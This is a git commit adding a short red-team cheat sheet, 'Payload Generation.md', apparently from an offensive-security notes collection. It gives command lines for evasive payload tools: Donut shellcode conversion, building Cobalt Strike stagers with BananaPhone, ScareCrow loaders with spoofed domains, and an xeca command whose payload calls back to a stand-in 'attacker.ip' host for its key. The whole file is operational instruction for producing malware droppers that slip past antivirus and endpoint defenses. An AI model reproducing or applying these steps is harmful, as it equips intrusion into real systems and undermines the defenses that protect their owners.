first commit

Necronomicon/Attacks/Payload Generation.md

@@ -0,0 +1,23 @@
+- Donut
+	- `EXCELntDonut -f CSRunner.cs --sandbox --obfuscate`
+	- Convert EXE (such as from Scarecrow) into PIC shellcode)
+		- `./donut -a 2 -f 7 -o donut\_payload.bin cmd.exe`
+- BananaPhone
+	- Generate 64-bit C# stager in Cobalt Strike
+	- `cd BananaPhone/example/hideexample/banana`
+	- `go generate .`
+	- Copy byte array from stager into main.go
+	- `env GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui`
+- Scarecrow
+	- JavaScript
+		- `./ScareCrow -I beacon.bin -Loader control -O access.js -domain test.com`
+	- EXE
+		- `./ScareCrow -I payload64.bin -Loader binary -domain acme.com`
+- xeca
+	- Save Powershell payload as a .ps1 file
+	- `xeca powershell --payload cthulhu.ps1 --url http://attacker.ip
+	- Execute "launch.txt", will call back to attacker for encryption key
+- Limelighter
+- Tiki Torch
+- CactusTorch
+- Sharpshooter